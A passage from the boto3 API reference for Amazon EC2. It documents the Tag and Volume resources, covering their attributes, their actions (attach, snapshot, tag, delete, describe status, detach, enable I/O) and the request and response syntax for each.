Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = subnet.network_interfaces.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +[Tag](#id1254) +---------------------------------------------------- + +_class_ EC2.Tag(_resource_id_, _key_, _value_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Tag: + +import boto3 + +ec2 = boto3.resource('ec2') +tag = ec2.Tag('resource_id','key','value') + +Parameters + +* **resource_id** (_string_) -- The Tag's resource_id identifier. This **must** be set. +* **key** (_string_) -- The Tag's key identifier. This **must** be set. +* **value** (_string_) -- The Tag's value identifier. This **must** be set. + +These are the resource's available identifiers: + +* [resource_id](#EC2.Tag.resource_id "EC2.Tag.resource_id") +* [key](#EC2.Tag.key "EC2.Tag.key") +* [value](#EC2.Tag.value "EC2.Tag.value") + +These are the resource's available attributes: + +* [resource_type](#EC2.Tag.resource_type "EC2.Tag.resource_type") + +These are the resource's available actions: + +* [delete()](#EC2.Tag.delete "EC2.Tag.delete") +* [get_available_subresources()](#EC2.Tag.get_available_subresources "EC2.Tag.get_available_subresources") +* [load()](#EC2.Tag.load "EC2.Tag.load") +* [reload()](#EC2.Tag.reload "EC2.Tag.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +resource_id + +_(string)_ The Tag's resource_id identifier. This **must** be set. + +key + +_(string)_ The Tag's key identifier. This **must** be set. + +value + +_(string)_ The Tag's value identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Tag.load "EC2.Tag.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +resource_type + +* _(string) --_ + + The resource type. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Deletes the specified set of tags from the specified set of resources. + +To list the current tags, use DescribeTags . For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteTags) + +**Request Syntax** + +response = tag.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_tags()](#EC2.Client.describe_tags "EC2.Client.describe_tags") to update the attributes of the Tag resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +tag.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_tags()](#EC2.Client.describe_tags "EC2.Client.describe_tags") to update the attributes of the Tag resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +tag.reload() + +Returns + +None + +[Volume](#id1255) +---------------------------------------------------------- + +_class_ EC2.Volume(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Volume: + +import boto3 + +ec2 = boto3.resource('ec2') +volume = ec2.Volume('id') + +Parameters + +**id** (_string_) -- The Volume's id identifier. This **must** be set. + +These are the resource's available identifiers: + +* [id](#EC2.Volume.id "EC2.Volume.id") + +These are the resource's available attributes: + +* [attachments](#EC2.Volume.attachments "EC2.Volume.attachments") +* [availability_zone](#EC2.Volume.availability_zone "EC2.Volume.availability_zone") +* [create_time](#EC2.Volume.create_time "EC2.Volume.create_time") +* [encrypted](#EC2.Volume.encrypted "EC2.Volume.encrypted") +* [fast_restored](#EC2.Volume.fast_restored "EC2.Volume.fast_restored") +* [iops](#EC2.Volume.iops "EC2.Volume.iops") +* [kms_key_id](#EC2.Volume.kms_key_id "EC2.Volume.kms_key_id") +* [multi_attach_enabled](#EC2.Volume.multi_attach_enabled "EC2.Volume.multi_attach_enabled") +* [outpost_arn](#EC2.Volume.outpost_arn "EC2.Volume.outpost_arn") +* [size](#EC2.Volume.size "EC2.Volume.size") +* [snapshot_id](#EC2.Volume.snapshot_id "EC2.Volume.snapshot_id") +* [state](#EC2.Volume.state "EC2.Volume.state") +* [tags](#EC2.Volume.tags "EC2.Volume.tags") +* [throughput](#EC2.Volume.throughput "EC2.Volume.throughput") +* [volume_id](#EC2.Volume.volume_id "EC2.Volume.volume_id") +* [volume_type](#EC2.Volume.volume_type "EC2.Volume.volume_type") + +These are the resource's available actions: + +* [attach_to_instance()](#EC2.Volume.attach_to_instance "EC2.Volume.attach_to_instance") +* [create_snapshot()](#EC2.Volume.create_snapshot "EC2.Volume.create_snapshot") +* [create_tags()](#EC2.Volume.create_tags "EC2.Volume.create_tags") +* [delete()](#EC2.Volume.delete "EC2.Volume.delete") +* [describe_attribute()](#EC2.Volume.describe_attribute "EC2.Volume.describe_attribute") +* [describe_status()](#EC2.Volume.describe_status "EC2.Volume.describe_status") +* [detach_from_instance()](#EC2.Volume.detach_from_instance "EC2.Volume.detach_from_instance") +* [enable_io()](#EC2.Volume.enable_io "EC2.Volume.enable_io") +* [get_available_subresources()](#EC2.Volume.get_available_subresources "EC2.Volume.get_available_subresources") +* [load()](#EC2.Volume.load "EC2.Volume.load") +* [modify_attribute()](#EC2.Volume.modify_attribute "EC2.Volume.modify_attribute") +* [reload()](#EC2.Volume.reload "EC2.Volume.reload") + +These are the resource's available collections: + +* [snapshots](#EC2.Volume.snapshots "EC2.Volume.snapshots") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The Volume's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Volume.load "EC2.Volume.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +attachments + +* _(list) --_ + + Information about the volume attachments. + + * _(dict) --_ + + Describes volume attachment details. + + * **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + * **Device** _(string) --_ + + The device name. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **State** _(string) --_ + + The attachment state of the volume. + + * **VolumeId** _(string) --_ + + The ID of the volume. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + +availability_zone + +* _(string) --_ + + The Availability Zone for the volume. + + +create_time + +* _(datetime) --_ + + The time stamp when volume creation was initiated. + + +encrypted + +* _(boolean) --_ + + Indicates whether the volume is encrypted. + + +fast_restored + +* _(boolean) --_ + + Indicates whether the volume was created using fast snapshot restore. + + +iops + +* _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + +kms_key_id + +* _(string) --_ + + The Amazon Resource Name (ARN) of the AWS Key Management Service (AWS KMS) customer master key (CMK) that was used to protect the volume encryption key for the volume. + + +multi_attach_enabled + +* _(boolean) --_ + + Indicates whether Amazon EBS Multi-Attach is enabled. + + +outpost_arn + +* _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + +size + +* _(integer) --_ + + The size of the volume, in GiBs. + + +snapshot_id + +* _(string) --_ + + The snapshot from which the volume was created, if applicable. + + +state + +* _(string) --_ + + The volume state. + + +tags + +* _(list) --_ + + Any tags assigned to the volume. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +throughput + +* _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + +volume_id + +* _(string) --_ + + The ID of the volume. + + +volume_type + +* _(string) --_ + + The volume type. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +attach_to_instance(kwargs_) + +Attaches an EBS volume to a running or stopped instance and exposes it to the instance with the specified device name. + +Encrypted EBS volumes must be attached to instances that support Amazon EBS encryption. For more information, see [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +After you attach an EBS volume, you must make it available. For more information, see [Making an EBS volume available for use](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-using-volumes.html) . + +If a volume has an AWS Marketplace product code: + +* The volume can be attached only to a stopped instance. +* AWS Marketplace product codes are copied from the volume to the instance. +* You must be subscribed to the product. +* The instance type and operating system of the instance must support the product. For example, you can't detach a volume from a Windows instance and attach it to a Linux instance. + +For more information, see [Attaching Amazon EBS volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-attaching-volume.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachVolume) + +**Request Syntax** + +response = volume.attach_to_instance( + Device='string', + InstanceId='string', + DryRun=True|False +) + +Parameters + +* **Device** (_string_) -- + + **[REQUIRED]** + + The device name (for example, /dev/sdh or xvdh ). + +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AttachTime': datetime(2015, 1, 1), + 'Device': 'string', + 'InstanceId': 'string', + 'State': 'attaching'|'attached'|'detaching'|'detached'|'busy', + 'VolumeId': 'string', + 'DeleteOnTermination': True|False +} + +**Response Structure** + +* _(dict) --_ + + Describes volume attachment details. + + * **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + * **Device** _(string) --_ + + The device name. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **State** _(string) --_ + + The attachment state of the volume. + + * **VolumeId** _(string) --_ + + The ID of the volume. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + +create_snapshot(kwargs_) + +Creates a snapshot of an EBS volume and stores it in Amazon S3. You can use snapshots for backups, to make copies of EBS volumes, and to save data before shutting down an instance. + +When a snapshot is created, any AWS Marketplace product codes that are associated with the source volume are propagated to the snapshot. + +You can take a snapshot of an attached volume that is in use. However, snapshots only capture data that has been written to your EBS volume at the time the snapshot command is issued; this might exclude any data that has been cached by any applications or the operating system. If you can pause any file systems on the volume long enough to take a snapshot, your snapshot should be complete. However, if you cannot pause all file writes to the volume, you should unmount the volume from within the instance, issue the snapshot command, and then remount the volume to ensure a consistent and complete snapshot. You may remount and use your volume while the snapshot status is pending . + +To create a snapshot for EBS volumes that serve as root devices, you should stop the instance before taking the snapshot. + +Snapshots that are taken from encrypted volumes are automatically encrypted. Volumes that are created from encrypted snapshots are also automatically encrypted. Your encrypted volumes and any associated snapshots always remain protected. + +You can tag your snapshots during creation. For more information, see [Tagging your Amazon EC2 resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information, see [Amazon Elastic Block Store](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AmazonEBS.html) and [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateSnapshot) + +**Request Syntax** + +snapshot = volume.create_snapshot( + Description='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **Description** (_string_) -- A description for the snapshot. +* **TagSpecifications** (_list_) -- + + The tags to apply to the snapshot during creation. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1122)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1124)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +ec2.Snapshot + +Returns + +Snapshot resource + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = volume.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified EBS volume. The volume must be in the available state (not attached to an instance). + +The volume can remain in the deleting state for several minutes. + +For more information, see [Deleting an Amazon EBS volume](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-deleting-volume.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteVolume) + +**Request Syntax** + +response = volume.delete( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +describe_attribute(kwargs_) + +Describes the specified attribute of the specified volume. You can specify only one attribute at a time. + +For more information about EBS volumes, see [Amazon EBS volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumes.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumeAttribute) + +**Request Syntax** + +response = volume.describe_attribute( + Attribute='autoEnableIO'|'productCodes', + DryRun=True|False +) + +Parameters + +* **Attribute** (_string_) -- + + **[REQUIRED]** + + The attribute of the volume. This parameter is required. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AutoEnableIO': { + 'Value': True|False + }, + 'ProductCodes': [ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + ], + 'VolumeId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **AutoEnableIO** _(dict) --_ + + The state of autoEnableIO attribute. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + * **ProductCodes** _(list) --_ + + A list of product codes. + + * _(dict) --_ + + Describes a product code. + + * **ProductCodeId** _(string) --_ + + The product code. + + * **ProductCodeType** _(string) --_ + + The type of product code. + + * **VolumeId** _(string) --_ + + The ID of the volume. + + +describe_status(kwargs_) + +Describes the status of the specified volumes. Volume status provides the result of the checks performed on your volumes to determine events that can impair the performance of your volumes. The performance of a volume can be affected if an issue occurs on the volume's underlying host. If the volume's underlying host experiences a power outage or system issue, after the system is restored, there could be data inconsistencies on the volume. Volume events notify you if this occurs. Volume actions notify you if any action needs to be taken in response to the event. + +The DescribeVolumeStatus operation provides the following information about the specified volumes: + +> _Status_ : Reflects the current status of the volume. The possible values are ok , impaired , warning , or insufficient-data . If all checks pass, the overall status of the volume is ok . If the check fails, the overall status is impaired . If the status is insufficient-data , then the checks might still be taking place on your volume at the time. We recommend that you retry the request. For more information about volume status, see [Monitoring the status of your volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/monitoring-volume-status.html) in the _Amazon Elastic Compute Cloud User Guide_ . +> +> _Events_ : Reflect the cause of a volume status and might require you to take action. For example, if your volume returns an impaired status, then the volume event might be potential-data-inconsistency . This means that your volume has been affected by an issue with the underlying host, has all I/O operations disabled, and might have inconsistent data. +> +> _Actions_ : Reflect the actions you might have to take in response to an event. For example, if the status of the volume is impaired and the volume event shows potential-data-inconsistency , then the action shows enable-volume-io . This means that you may want to enable the I/O operations for the volume by calling the EnableVolumeIO action and then check the volume for data consistency. + +Volume status is based on the volume status checks, and does not reflect the volume state. Therefore, volume status does not indicate volumes in the error state (for example, when a volume is incapable of accepting I/O.) + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumeStatus) + +**Request Syntax** + +response = volume.describe_status( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **Filters** (_list_) -- + + The filters. + + * action.code - The action code for the event (for example, enable-volume-io ). + * action.description - A description of the action. + * action.event-id - The event ID associated with the action. + * availability-zone - The Availability Zone of the instance. + * event.description - A description of the event. + * event.event-id - The event ID. + * event.event-type - The event type (for io-enabled : passed | failed ; for io-performance : io-performance:degraded | io-performance:severely-degraded | io-performance:stalled ). + * event.not-after - The latest end time for the event. + * event.not-before - The earliest start time for the event. + * volume-status.details-name - The cause for volume-status.status (io-enabled | io-performance ). + * volume-status.details-status - The status of volume-status.details-name (for io-enabled : passed | failed ; for io-performance : normal | degraded | severely-degraded | stalled ). + * volume-status.status - The status of the volume (ok | impaired | warning | insufficient-data ). + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of volume results returned by DescribeVolumeStatus in paginated output. When this parameter is used, the request only returns MaxResults results in a single page along with a NextToken response element. The remaining results of the initial request can be seen by sending another request with the returned NextToken value. This value can be between 5 and 1,000; if MaxResults is given a value larger than 1,000, only 1,000 results are returned. If this parameter is not used, then DescribeVolumeStatus returns all results. You cannot specify this parameter and the volume IDs parameter in the same request. +* **NextToken** (_string_) -- The NextToken value to include in a future DescribeVolumeStatus request. When the results of the request exceed MaxResults , this value can be used to retrieve the next page of results. This value is null when there are no more results to return. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NextToken': 'string', + 'VolumeStatuses': [ + { + 'Actions': [ + { + 'Code': 'string', + 'Description': 'string', + 'EventId': 'string', + 'EventType': 'string' + }, + ], + 'AvailabilityZone': 'string', + 'OutpostArn': 'string', + 'Events': [ + { + 'Description': 'string', + 'EventId': 'string', + 'EventType': 'string', + 'NotAfter': datetime(2015, 1, 1), + 'NotBefore': datetime(2015, 1, 1), + 'InstanceId': 'string' + }, + ], + 'VolumeId': 'string', + 'VolumeStatus': { + 'Details': [ + { + 'Name': 'io-enabled'|'io-performance', + 'Status': 'string' + }, + ], + 'Status': 'ok'|'impaired'|'insufficient-data' + }, + 'AttachmentStatuses': [ + { + 'IoPerformance': 'string', + 'InstanceId': 'string' + }, + ] + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + * **VolumeStatuses** _(list) --_ + + Information about the status of the volumes. + + * _(dict) --_ + + Describes the volume status. + + * **Actions** _(list) --_ + + The details of the operation. + + * _(dict) --_ + + Describes a volume status operation code. + + * **Code** _(string) --_ + + The code identifying the operation, for example, enable-volume-io . + + * **Description** _(string) --_ + + A description of the operation. + + * **EventId** _(string) --_ + + The ID of the event associated with this operation. + + * **EventType** _(string) --_ + + The event type associated with this operation. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone of the volume. + + * **OutpostArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + * **Events** _(list) --_ + + A list of events associated with the volume. + + * _(dict) --_ + + Describes a volume status event. + + * **Description** _(string) --_ + + A description of the event. + + * **EventId** _(string) --_ + + The ID of this event. + + * **EventType** _(string) --_ + + The type of this event. + + * **NotAfter** _(datetime) --_ + + The latest end time of the event. + + * **NotBefore** _(datetime) --_ + + The earliest start time of the event. + + * **InstanceId** _(string) --_ + + The ID of the instance associated with the event. + + * **VolumeId** _(string) --_ + + The volume ID. + + * **VolumeStatus** _(dict) --_ + + The volume status. + + * **Details** _(list) --_ + + The details of the volume status. + + * _(dict) --_ + + Describes a volume status. + + * **Name** _(string) --_ + + The name of the volume status. + + * **Status** _(string) --_ + + The intended status of the volume status. + + * **Status** _(string) --_ + + The status of the volume. + + * **AttachmentStatuses** _(list) --_ + + Information about the instances to which the volume is attached. + + * _(dict) --_ + + Information about the instances to which the volume is attached. + + * **IoPerformance** _(string) --_ + + The maximum IOPS supported by the attached instance. + + * **InstanceId** _(string) --_ + + The ID of the attached instance. + + +detach_from_instance(kwargs_) + +Detaches an EBS volume from an instance. Make sure to unmount any file systems on the device within your operating system before detaching the volume. Failure to do so can result in the volume becoming stuck in the busy state while detaching. If this happens, detachment can be delayed indefinitely until you unmount the volume, force detachment, reboot the instance, or all three. If an EBS volume is the root device of an instance, it can't be detached while the instance is running. To detach the root volume, stop the instance first. + +When a volume with an AWS Marketplace product code is detached from an instance, the product code is no longer associated with the instance. + +For more information, see [Detaching an Amazon EBS volume](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-detaching-volume.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachVolume) + +**Request Syntax** + +response = volume.detach_from_instance( + Device='string', + Force=True|False, + InstanceId='string', + DryRun=True|False +) + +Parameters + +* **Device** (_string_) -- The device name. +* **Force** (_boolean_) -- Forces detachment if the previous detachment attempt did not occur cleanly (for example, logging into an instance, unmounting the volume, and detaching normally). This option can lead to data loss or a corrupted file system. Use this option only as a last resort to detach a volume from a failed instance. The instance won't have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. +* **InstanceId** (_string_) -- The ID of the instance. If you are detaching a Multi-Attach enabled volume, you must specify an instance ID. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AttachTime': datetime(2015, 1, 1), + 'Device': 'string', + 'InstanceId': 'string', + 'State': 'attaching'|'attached'|'detaching'|'detached'|'busy', + 'VolumeId': 'string', + 'DeleteOnTermination': True|False +} + +**Response Structure** + +* _(dict) --_ + + Describes volume attachment details. + + * **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + * **Device** _(string) --_ + + The device name. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **State** _(string) --_ + + The attachment state of the volume. + + * **VolumeId** _(string) --_ + + The ID of the volume. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + +enable_io(kwargs_) + +Enables I/O operations for a volume that had I/O operations disabled because the data on the volume was potentially inconsistent. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/EnableVolumeIO) + +**Request Syntax** + +response = volume.enable_io( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_volumes()](#EC2.Client.describe_volumes "EC2.Client.describe_volumes") to update the attributes of the Volume resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +volume.load() + +Returns + +None + +modify_attribute(kwargs_) + +Modifies a volume attribute. + +By default, all I/O operations for the volume are suspended when the data on the volume is determined to be potentially inconsistent, to prevent undetectable, latent data corruption. The I/O access to the volume can be resumed by first enabling I/O access and then checking the data consistency on your volume. + +You can change the default behavior to resume I/O operations. We recommend that you change this only for boot volumes or for volumes that are stateless or disposable. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyVolumeAttribute) + +**Request Syntax** + +response = volume.modify_attribute( + AutoEnableIO={ + 'Value': True|False + }, + DryRun=True|False +) + +Parameters + +* **AutoEnableIO** (_dict_) -- + + Indicates whether the volume should be auto-enabled for I/O operations. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reload() + +Calls [EC2.Client.describe_volumes()](#EC2.Client.describe_volumes "EC2.Client.describe_volumes") to update the attributes of the Volume resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +volume.reload() + +Returns + +None + +Collections + +Collections provide an 